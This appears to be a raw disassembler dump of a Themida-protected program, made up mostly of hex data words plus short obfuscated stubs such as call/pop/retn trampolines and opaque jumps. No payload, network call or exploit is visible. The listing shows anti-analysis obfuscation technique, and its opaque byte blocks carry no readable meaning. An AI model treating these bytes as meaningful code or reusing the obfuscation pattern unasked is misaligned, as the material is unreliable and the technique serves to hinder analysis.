dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 82D4C356h, 0ED9D8DBCh, 6A06A801h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0C7F2C356h, 5CD5F819h, 0BEF15CEAh, 4BEF591Eh
dd 5E9h, 27070D00h, 0BE665792h, 2381F13Ah, 0FFFFFEFFh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9AC35242h
dd 9393B073h, 2E21B589h, 0F88B06A8h, 6ADB8C66h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0E5AC355h, 9589F157h, 6A83109h, 0F04C3F6h, 0B384h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0D061A3DCh, 4F34D70Dh, 8D95FFA8h, 6A06A806h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0E9F2C357h, 12h, 77F89B82h, 58E5BEDCh, 8ABE7B93h, 5CA403EBh
dd 11E8BF6Bh, 5A000000h, 0C3AF073h, 0DCA64A20h, 8F18521Fh
dd 0FB5D5FE5h, 5250905Eh, 5870Fh, 0A0BF0000h, 0F133418h
dd 8FBE6631h, 50585A6Ch, 50006A90h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0F2722432h, 0BAC803AFh
dd 0F9FE8B66h, 3EAE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 0E2279755h, 0FD3E278h
dd 685h, 0CDB58B00h, 0B006A80Fh, 758D2900h, 0E606A833h
dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 9E3D6FB4h, 0E9FD7BE8h, 0Ah, 8596DF3Ah, 0A61D1BCBh
dd 71E49BADh, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 516EC353h, 0BF6657F9h
dd 0BA5FD313h, 6, 31899D29h, 0C38B06A8h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 29C35646h, 0A8F0F51h
dd 0E9000000h, 5, 17ABAD36h, 0E8C15E1Ch, 0E9BD3304h, 6606A80Dh
dd 0B52BE2F7h, 6A80E65h, 0E681D82Bh, 2D68B36Dh, 241C8950h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h
dd 0C76D3D4Ch, 1E40349Ah, 0F5BD2367h, 0F906A813h, 176DB5FFh
dd 0FFF806A8h, 0A81B3195h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BE66526Eh
dd 0B05E9F7Eh, 14E900h, 2A220000h, 5548FD3Ch, 0BEE2659Bh
dd 12958193h, 7CF8BAFEh, 70E6F332h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 6EC35343h, 0FC558B76h, 3216F28h
dd 9E9h, 23619400h, 34A4DBA6h, 71E4DF7Ah, 66F9B70Fh, 613CFB8Bh
dd 245830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 60DEACC3h, 0BF66E357h, 0B60FD969h
dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 8EDB4017h, 6E94F74h, 54000000h, 3EE50CF5h
dd 9151BF7Dh, 0B5012A4Eh, 6A802A9h, 6BAh, 0EE800h, 0F7440000h
dd 0EEAE6159h, 16AAEF74h, 0DA7CE054h, 0C38B5FFCh, 1565BD2Bh
dd 0E8C106A8h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 9F4766FCh, 759DE164h
dd 0F766410Ah, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 0BA85651h, 0B70FA786h
dd 0F5D82BF9h, 51006A58h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0F1B4B07Eh, 0E5B58B8Bh
dd 8906A821h, 0A81AA1BDh, 0FD82B06h, 13E88h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 4716EF90h, 0AAEB53CFh, 7DB503BAh, 8906A825h, 0A82EF595h
dd 7B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 8B8BCAC3h, 0C183F0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 810909Fh
dd 0D20A6C77h, 80F960C3h, 3B617DE6h, 0B4860FD9h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 570CC350h, 9B58B56h, 5F06A811h, 0D98C665Fh
dd 8DDE8166h, 4C1F669h, 75840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C47B21C3h
dd 82A1EA9Bh, 0FFEA3B47h, 0A8068D95h, 0F9BD2B06h, 5B06A81Eh
dd 287AF781h, 0C32B7A0Ch, 34B5B523h, 343D06A8h, 0F000008h
dd 2A86h, 2DE900h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 850F41C3h, 3, 8BF6B70Fh, 62F681C0h, 8B29FB40h
dd 6AD88BC3h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 13AFC350h, 0C56A6452h, 0C7964A70h
dd 0A8259D85h, 38911106h, 158D295Dh, 8B06A816h, 51006AC0h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0CF5E938Dh, 0BE071E60h, 0BD81CEFEh, 6A8176Dh, 7D0h
dd 12850Fh, 0B5330000h, 6A8091Dh, 176D85FFh, 0BD8B06A8h
dd 6A816BDh, 176DB5FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0D72E1C3h, 0A5A902F1h
dd 3195FFA1h, 6A06A81Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 57F0C351h, 5112CDF3h
dd 86DCBF51h, 5F5F4E66h, 1F41B50Bh, 6A9006A8h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 54FEC357h, 0B8DA0248h, 9858985h, 8106A82Ah, 0DB21FDF7h
dd 53006A44h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 97EB1B8h, 68B0F2Bh, 89000000h, 0A80FC1B5h
dd 0FEBF0F06h, 0A95BD8Bh, 816606A8h, 602596D6h, 8E9h, 28CC7F00h
dd 8D9FA65Fh, 2820FEDh, 56000000h, 0D18D8958h, 6106A80Ch
dd 0FCF1B70Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 6DC35343h, 0EB4FE781h, 810F2867h, 1Ah, 14E9h, 0A8C98300h
dd 730F2D04h, 7BD81417h, 24AC600Dh, 0EAA60044h, 0E681F50Eh
dd 3A6D09B2h, 9524D781h, 6A6F9Dh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 440032C3h, 21BCB5DCh
dd 8B5528D2h, 0A80301B5h, 0F7E2E906h, 0F28BFFFFh, 39800Fh
dd 0BD8B0000h, 6A82FD9h, 14E8h, 0EA0DB500h, 3BA2E123h
dd 8CC7EF67h, 0A6EE70E9h, 965FD8F8h, 0EE805h, 343B0000h
dd 22C41443h, 607929F1h, 25DB2D18h, 326ABF5Fh, 0F95E107Ch
dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 0AADAC4C3h, 4EBF78Bh, 0
; ---------------------------------------------------------------------------
mov [ebp+6A8279Dh], esi
push 0
push ebx
call sub_589319
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589319 proc near ; CODE XREF: Themida_:00589311p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_589319 endp
; ---------------------------------------------------------------------------
sub [ebp-57CC7A7Bh], cl
push es
push 0
push esi
call sub_58933B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58933B proc near ; CODE XREF: Themida_:00589333p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_58933B endp
; ---------------------------------------------------------------------------
db 1Ah
dd 0BE861h, 4FB40000h, 3A9C828h, 8DDC7CE2h, 12E8515Ch
dd 0A4000000h, 74AD8936h, 5D6A0C24h, 4E5B298h, 0C91E4A88h
dd 5E5E5E3Dh, 8B525090h, 50310FF0h, 60310F52h, 5A585A61h
dd 0E8905058h, 7, 0B3F3DDA4h, 0BF6C4490h, 3DACA3E5h, 6A006A5Fh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 6A35C351h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 819F3896h, 0E18780EFh
dd 0E4858D14h, 6A06ABFAh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 7923C350h, 62C5CC8Ah
dd 0FADFE0Fh, 68Ah, 51B58B00h, 8306A80Fh, 6A05C0h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 66B6BAC3h, 222E5AE9h, 8B0FCD03h, 0Ch, 6880Fh, 840F0000h
dd 0
; ---------------------------------------------------------------------------
push eax
mov [esp], eax
push ecx
jo $+6
pop edi
jmp loc_58946F
; ---------------------------------------------------------------------------
db 9Ah, 46h, 0C9h
dd 16B46FF5h, 0D6FAACEEh
db 52h, 49h, 0C8h
; ---------------------------------------------------------------------------
loc_58946F: ; CODE XREF: Themida_:0058945Cj
push 0
push edi
adc esi, 1408C55Ah
pop esi
push 0
jmp loc_589488
; ---------------------------------------------------------------------------
xchg eax, ebp
lodsb
or ecx, [edx-5F24DD2Ah]
loc_589488: ; CODE XREF: Themida_:0058947Bj
call dword ptr [ebp+6A82541h]
jg loc_58949A
and esi, [ebp+6A80F9Dh]
loc_58949A: ; CODE XREF: Themida_:0058948Ej
lea ebx, [ebp+6AB8C7Fh]
stc
call ebx
push 0
push ebp
call sub_5894AE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5894AE proc near ; CODE XREF: Themida_:005894A6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5894AE endp
; ---------------------------------------------------------------------------
dw 0F421h
dd 3880F6Bh, 57000000h, 85FF5FF8h, 6A833F1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ABC35343h, 9CC68166h
dd 86FE90Eh, 0E80000h, 5D000000h, 0FAEEED81h, 6A06ABh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0BD8BEEC3h, 6A82519h, 176DBD81h, 7D006A8h, 860F0000h
dd 14Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 49C35242h, 0BF66FAE2h, 9D8BC5E9h, 6A81A6Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F0C35242h, 0E381BAF9h
dd 100h, 3178EE81h, 0DB0B74E6h, 0AB850Fh, 5E510000h, 0F8F7BD83h
dd 0F0006ABh, 4184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0D611EE35h, 0C95BD03Fh
dd 0EE930h, 83AB0000h, 8FE935D5h, 7D935A2Ch, 601CD3F3h
dd 70E9h, 0A574BE00h, 85C77DB7h, 6ABF8F7h, 1, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3C35141h, 75115F49h
dd 0E6BE36F6h, 0F07AA29h, 32E9F8B7h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0F2BC350h, 86h, 0F785C700h, 6ABF8h, 8B000000h, 0A81E85BDh
dd 6D9D8D06h, 5606A81Ah, 0A919BF66h, 0FF23815Eh, 6AFFFFFEh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 1A26C352h, 8B11191Eh, 0A834A1BDh, 0DB8C6606h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7FC35040h
dd 0BD89D539h, 6A81551h, 0DBDB533h, 0C3F606A8h, 98840F04h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0F12FC350h, 0BD8B210Ch, 6A80E85h
dd 28E0Fh, 5F570000h, 68D95FFh, 6A06A8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4666C3h
dd 0D4B99D7Dh, 0FD0E77Fh, 7E9FABFh, 49000000h, 70DF84A8h
dd 6650CC44h, 89E5E6BEh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 8770B8C3h, 0E28D329Eh
dd 0F3CE8116h, 0E931B28Eh, 423h, 6E3A56BFh, 6A00B048h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0F0ADC356h, 8E8A7314h, 621B533h, 70E606A8h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E1C35141h
dd 3890Fh, 0B70F0000h, 6A71E4F8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 880C355h
dd 53E9C147h, 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 5CBCC352h, 854FA703h
dd 295F577Ah, 0A80F79BDh, 6BA06h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1C40C2C3h
dd 0FA30A5Fh, 1986h, 13E800h, 0CEFE0000h, 0DECD67B9h, 362EE697h
dd 3B114D23h, 146424CCh, 0C38B5E77h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0FCC35545h, 284C511Dh, 19B98D89h
dd 0B70F06A8h, 4E8C1FEh, 245DEBEh, 0E2F7666Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B8C35343h, 8A6B29C3h
dd 11E9D82Bh, 31000000h, 6212D169h, 0A73FC3E6h, 0F67E948Bh
dd 9D8FC029h, 5E993h, 9DE80000h, 50298EF6h, 0FCC682BFh
dd 2EBE937Ch, 0FF14112Fh, 0A8176DB5h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 620BE457h, 6B7E0365h, 5E8h, 705BA900h, 840F1200h, 1
dd 95FF5FFCh, 6A81B31h, 681B58Bh, 0B006A8h, 26DE8166h
dd 6A70E603h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 2CE0C352h, 0F4B37755h, 0E4BFBF2Dh
dd 0E5EE8171h, 3C7737BFh, 30830F61h, 33000002h, 0A80161BDh
dd 0AD9D8906h, 0F06A826h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0FB0F25C3h, 0F57536A8h
dd 85895343h, 6A82C69h, 8589605Fh, 6A8258Dh, 33ED8D8Bh
dd 0BA6106A8h, 6, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0E03532C3h, 28B5BD8Bh
dd 800F06A8h, 5, 74DE8166h, 4E8C12Eh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 9DC35646h, 9998BA1Eh, 4C1E57B5h
dd 0D6D78166h, 0E2F7669Dh, 0D82BFB8Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0C3C35242h, 9A9E5FD0h, 99B52BD5h
dd 5806A831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0A7C35040h, 8FDE8133h, 2B4C4253h, 2C880FD8h, 0B9000001h
dd 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
dd 98C35141h, 8BBB79D2h, 0A80F9DBDh, 0C18306h, 0E3DB58Bh
dd 0D93B06A8h, 0F1860Fh, 11E90000h, 0F2000000h, 676B3B9h
dd 2E281F6h, 0A881FC7Ch, 8473AE0Ch, 8BD98C66h, 0A82FB1B5h
dd 0B5B58B06h, 0F606A81Fh, 840F04C1h, 9Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 57C35040h, 0F4927204h
dd 30309C82h, 0F8B70FE4h, 68D95FFh, 6A06A8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 28034FC3h
dd 5B762ABCh, 0B01BD8Bh, 0C32B06A8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 8FC35242h, 8B42B6BEh, 0A82D9DBDh
dd 0FA8B6606h, 8343Dh, 11860F00h, 0F000000h, 89h, 2DE900h
dd 8D290000h, 6A81671h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0F2358C3h, 37AD0A09h
dd 8B908792h, 66D88BC3h, 0C72281BEh, 0A801ED85h, 0BFE1D906h
dd 8BFB8B78h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0D7DFC1A5h, 54897F16h, 950177BDh
dd 6A82F35h, 176DBD81h, 7D006A8h, 850F0000h, 30h, 26B1BD8Bh
dd 85FF06A8h, 6A8176Dh, 14E9h, 7BF6F000h, 9AD391F3h, 5B4097E8h
dd 6423FFD9h, 0E86986E5h, 5840F9Ch, 0BF000000h, 0A6C3353h
dd 176DB5FFh, 0E78106A8h, 0C60634Dh, 1B3195FFh, 6A06A8h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0B9FA51C3h, 4AE348EBh, 398D8967h, 5706A806h, 1B81B58Bh
dd 905F06A8h, 13F5BD89h, 0F6006A8h, 281h, 0E9585200h, 0Fh
dd 0C1521E45h, 147CDACEh, 0DEA475AFh, 80D9C3A8h, 6661D8DDh
dd 6AF78Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0B58918C3h, 6A831F1h, 9840Fh, 9D890000h
dd 6A82005h, 89F3B70Fh, 0A802ED85h, 29858906h, 8B06A807h
dd 0A81FEDBDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h
dd 0C3554500h, 6AB074h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0BEFE2EC3h, 26B98D89h, 12E806A8h
dd 1D000000h, 32E518A8h, 840EEA2h, 89412687h, 3846ABB6h
dd 8B5FF52Fh, 0A82D79B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 338CB136h
dd 0C18D31A5h, 8906A806h, 0A8288985h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 2F8E64B6h, 0F79CE95Eh, 8166FFFFh, 0BB58EF6h, 0A82C55B5h
dd 6AC18B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 9A8BC352h, 867350B0h, 8A0F345Fh
dd 3, 0E9F88B66h, 12h, 0C55174C8h, 5B86E7D5h, 9474DD97h
dd 0CDF0DC11h, 4EBE641h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_589DBB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589DBB proc near ; CODE XREF: Themida_:00589DB3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_589DBB endp
; ---------------------------------------------------------------------------
push ds
pop edx
mov ebp, 8B6520ADh
mov ebp, 6A8090Dh
push 0
push ebx
call sub_589DE2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589DE2 proc near ; CODE XREF: Themida_:00589DDAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_589DE2 endp
; ---------------------------------------------------------------------------
dw 0CDCEh
; ---------------------------------------------------------------------------
aas
mov di, dx
xor [ebp+6A8011Dh], edx
lea eax, [ebp+6A83385h]
push 0
push edi
call sub_589E0F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589E0F proc near ; CODE XREF: Themida_:00589E07p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_589E0F endp
; ---------------------------------------------------------------------------
db 0E9h
dd 0F543C5CFh, 0F38B6650h, 6A240489h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 65E8C353h
dd 874A0311h, 6A29AA18h, 0CE800h, 3F730000h, 1D865197h
dd 0A5D089E3h, 8B60F652h, 0A83299BDh, 0D2B70F06h, 6A5E61h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 26C35242h
dd 5BC075B3h, 0A8F78D59h, 19E78112h, 0F6EC514h, 858DFEBFh
dd 6AC0594h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 69C35141h, 0E905C083h, 13h, 1A1397E1h, 71046CF9h
dd 0C7D70689h, 0F2D38964h, 90426D66h, 4880Fh, 57500000h
dd 60505E5Eh, 820F5250h, 0
dd 585A310Fh, 61F88B66h, 6850F90h, 29000000h, 0A80BB98Dh
dd 6A006A06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 9E657F62h, 860F7000h, 2, 95FFF18Bh
dd 6A82541h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 4EC35343h, 17C58531h, 816606A8h, 8D2A08C7h, 0AB8C7F9Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 6D4DA721h, 0E4EA94D7h, 9C932FBFh, 8B66523Ah
dd 0D3FF5EF1h, 0F185FFF5h, 2906A833h, 0A80675BDh, 83BE906h
dd 0E80000h, 5D000000h, 59EED81h, 8B6606ACh, 6DBD81F9h
dd 0D006A817h, 0F000007h, 12186h, 219D8B00h, 8906A830h
dd 0A82FD595h, 0E38106h, 89000001h, 0A8077985h, 0FDB0B06h
dd 0BB85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 0AD7E6DAAh, 8BDE80A3h, 0A80839BDh
dd 9FBD8306h, 6AC03h, 76840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 4F6FD6C3h
dd 398D893Dh, 0E806A830h, 10h, 291E2A74h, 9D451378h, 38B54071h
dd 0C2F6F9B4h, 75E95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 13CEB8C3h, 0E9E3A543h
dd 10h, 0EEF97C55h, 0A3132E4Dh, 8652D54Eh, 5D9B2DD8h, 39F85C7h
dd 106ACh, 0E9F90000h, 2Fh, 39F85C7h, 6ACh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 944DACC3h, 0C8F215C8h, 8DFC57B3h, 0A830219Dh, 0E7816606h
dd 23810A47h, 0FFFFFEFFh, 21D59D89h, 8C6606A8h, 50006ADBh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 939D1F4Dh, 0F04C3F6h, 5684h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0F6C07A27h
dd 8A0DD58Bh, 6E9h, 0D1EC2200h, 0FF15F3BFh, 0A8068D95h
dd 0A5952906h, 5006A820h, 68B0Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
mov [esp], eax
jo loc_58A167
sub [ebp+6A83065h], edi
loc_58A167: ; CODE XREF: Themida_:0058A15Bj
jmp loc_58A5A8
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_58A177
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A177 proc near ; CODE XREF: Themida_:0058A16Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_58A177 endp
; ---------------------------------------------------------------------------
db 35h
dd 4CD059Bh, 8B781AB0h, 0A814EDBDh, 0E600B006h, 52006A70h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0B8B37BB6h, 0B290BF66h, 6A71E4h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 59ED84C3h
dd 5D5DA15Fh, 0BC59509h, 0B60F06A8h, 0C1BE66D8h, 6BABEh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0D19AD2C3h, 0FEACD2BDh, 2DBF66ACh, 0FC38BC3h
dd 1184h, 0AE800h, 0D7810000h, 0EE2AE4D8h, 34EF1E78h, 0E8C15FF9h
dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 8AC4450h, 0F530CF3h, 0F87h, 9E800h, 0CF030000h
dd 0FEA8D33Fh, 5FC32D70h, 0E2F7665Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 89C35545h, 2B271494h, 15B589D8h
dd 5006A80Bh, 1C89F78Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 6A111A3Bh, 0DE9h, 56083900h
dd 4535D941h, 0E796E1CFh, 0B5FF8A71h, 6A8176Dh, 729B523h
dd 95FF06A8h, 6A81B31h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 9DC35747h, 8B00B0AFh, 0A81C09BDh, 8970E606h
dd 0A8329985h, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0C410C353h, 1DE9031Eh
dd 0F613C3Ch, 26F83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 6D0FA743h, 2FC5BD8Bh
dd 0B60F06A8h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 0F5C71EA0h, 6069D01Dh
dd 2DB58BFCh, 6106A800h, 6BAh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 663F8653h
dd 8B447ABFh, 0A81001B5h, 0E8C38B06h, 0Ah, 0BD4EBBACh
dd 0DDB934B9h, 66609036h, 3192C981h, 3315858Bh, 5E6106A8h
dd 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 448C356h, 7BBF664Dh, 0E2F766F5h
dd 2312F681h, 0D82B35E0h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 3CC35141h, 0B589BEBBh, 6A81755h, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 242C214Eh, 0C94B32C4h, 0AA8176BEh, 0FD82B61h, 14B88h
dd 5E900h, 4BCC0000h, 0B376753h, 0A805A1B5h, 7B906h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 74A9F3C3h, 351E5E40h, 665BF1E4h, 0E27FC681h, 0C183F9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D4C35545h
dd 0C737484Fh, 73231C84h, 49E6816Bh, 3B7D8D76h, 0D5860FD9h
dd 81000000h, 0ED17FAE6h, 0D98C660Ch, 0F04C1F6h, 9184h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0C4E2FB79h, 0F04FD60h, 1188h, 0BE800h, 0E8BC0000h
dd 0EB093ED9h, 75EAA7F8h, 95FF5E71h, 6A8068Dh, 11E9h, 1F5EE300h
dd 392E53E4h, 0E2F80056h, 0D25E2C53h, 2B5B34CFh, 70BF66C3h
dd 8343DE4h, 860F0000h, 2Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0ACC35242h, 0B589C844h, 6A80E85h
dd 33E9h, 0C08BF500h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 64C35141h, 1A8CC25Fh, 407533DCh, 0CF816689h
dd 85319494h, 6A82C51h
; ---------------------------------------------------------------------------
loc_58A5A8: ; CODE XREF: Themida_:loc_58A167j
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_58A5B7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
